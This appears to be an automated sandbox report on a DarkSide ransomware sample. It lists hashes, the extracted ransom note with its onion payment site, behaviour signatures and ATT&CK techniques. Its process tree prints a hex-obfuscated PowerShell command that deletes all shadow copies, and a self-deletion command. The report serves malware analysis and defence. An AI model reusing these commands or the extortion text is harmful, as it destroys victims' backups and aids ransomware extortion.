Analysis

  • max time kernel
    66s
  • max time network
    111s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    17-05-2021 12:21

General

  • Target

    1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe

  • Size

    59KB

  • MD5

    6a7fdab1c7f6c5a5482749be5c4bf1a4

  • SHA1

    4e6d303d96621769b491777209c237b4061e3285

  • SHA256

    1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb

  • SHA512

    39446ebfae1dd0e007e81087f42021b95ee5a0a04e22ca7f4f5addbea4e71c7fe09ffd3bf953400955ce6d31b535c81a37b018aba73c30e61575b2c49414d6cd

Malware Config

Extracted

Path

C:\\README.f2cbf9aa.TXT

Family

darkside

Ransom Note
----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/CZEX8E0GR0AO4ASUCJE1K824OKJA1G24B8B3G0P84LJTTE7W8EC86JBE7NBXLMRT When you open our website, put the following data in the input form: Key: 0kZdK3HQhsAkUtvRl41QkOdpJvzcWnCrBjjgg5U4zfuWeTnZR5Ssjd3QLHpmbjxjo7uWzKbt8qPVuYN38TsDPI3bemd5I40ksemIzuI5OhIHZsi9cn3Wpd7OUT72FP9MyAUzR586yMsI2Ygri9in0Bf4EkG0pmBOLyRG1T788foGJQW1WxS1Qd2sMVvX0jKlbGG1zLp7g0u6buDCzSMyTjWjuVzJYufBBv7S2XvciEVvboiTNbZA4UUU6PttKERQSb018aILd6xO3ulk6fbEgZDO5tZSGn2zRevn5YXnHtg6vt1ToLe3izQOgYbs8Ja1fkfJBUYVux1ITyWBjpn0xPayKfwln8SqgMkbqiDyxEDEtFhqiffLcONMhi4TmW50loZIC6mWSaOjThWp6XSJUWPtY8Mkzs8Cs0qjPahx58iAEVIRGUVpLkMs7xPN7ydZ6wMWaOcRC1AD1JEUVTjLikXXyckgYaS6FnEv0UNEsv6QbTLSpDomIg3rEYZBib6ozrwH5n0M5wrKo8NciUBmfJWDP4XKkjznpsa05rEpuAklM0dMmZsYGVR !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!
URLs

http://darksidfqzcuhtk2.onion/CZEX8E0GR0AO4ASUCJE1K824OKJA1G24B8B3G0P84LJTTE7W8EC86JBE7NBXLMRT

Signatures

  • DarkSide

    Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.

  • Modifies extensions of user files 6 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Deletes itself 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies Control Panel 1 IoCs
  • Modifies registry class 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 24 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
    "C:\Users\Admin\AppData\Local\Temp\1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe"
    1⤵
    • Modifies extensions of user files
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1988
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:980
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\1CC7C1~1.EXE >> NUL
      2⤵
      • Deletes itself
      PID:2736
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:1004

Network

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Modify Registry

1
T1112

Credential Access

Credentials in Files

1
T1081

Discovery

System Information Discovery

1
T1082

Collection

Data from Local System

1
T1005

Impact

Defacement

1
T1491

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
    MD5

    d0353d314c5bc8c1ea82212d0215fa51

    SHA1

    6df2b40f6092434fdf2a54fe34a4ec110e12a6c1

    SHA256

    a6c8a1c4d18e494c5f4b9dbf4d07ea122a691566d7e0ff04cf8a63e2db4fa916

    SHA512

    27c8fa70682cfbf60895bd5914a2476fee2794212914b893124012514935944022221cae64d118869969f393d277103f6ef1fa41ed009dea590c8eb9318ef923

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
    MD5

    964e4d4e28734b6461fd42c2774c2c62

    SHA1

    1c981ea3ce8a1b76f82cfcfc7578977639c26bb5

    SHA256

    8acb6f1a2c83eb22bf9cf2b139ba7ad35b2aa7e95268e7395596d98b44f14171

    SHA512

    191ee02a54d90e9d4834f19a91ee5190aea32d04f21880c5767658c8faa1a5b5b12b8c585a86759a50a7178844fb15e4ac88ed9b01561667b155272d7fc82252

  • memory/980-65-0x00000000023E0000-0x00000000023E1000-memory.dmp
    Filesize

    4KB

  • memory/980-62-0x0000000002640000-0x0000000002641000-memory.dmp
    Filesize

    4KB

  • memory/980-63-0x000000001AB70000-0x000000001AB71000-memory.dmp
    Filesize

    4KB

  • memory/980-64-0x0000000002680000-0x0000000002681000-memory.dmp
    Filesize

    4KB

  • memory/980-66-0x0000000002360000-0x0000000002362000-memory.dmp
    Filesize

    8KB

  • memory/980-67-0x0000000002364000-0x0000000002366000-memory.dmp
    Filesize

    8KB

  • memory/980-68-0x000000001C660000-0x000000001C661000-memory.dmp
    Filesize

    4KB

  • memory/980-69-0x000000001B5E0000-0x000000001B5E1000-memory.dmp
    Filesize

    4KB

  • memory/980-61-0x000007FEFB761000-0x000007FEFB763000-memory.dmp
    Filesize

    8KB

  • memory/980-60-0x0000000000000000-mapping.dmp
  • memory/1988-59-0x0000000075AD1000-0x0000000075AD3000-memory.dmp
    Filesize

    8KB

  • memory/2736-72-0x0000000000000000-mapping.dmp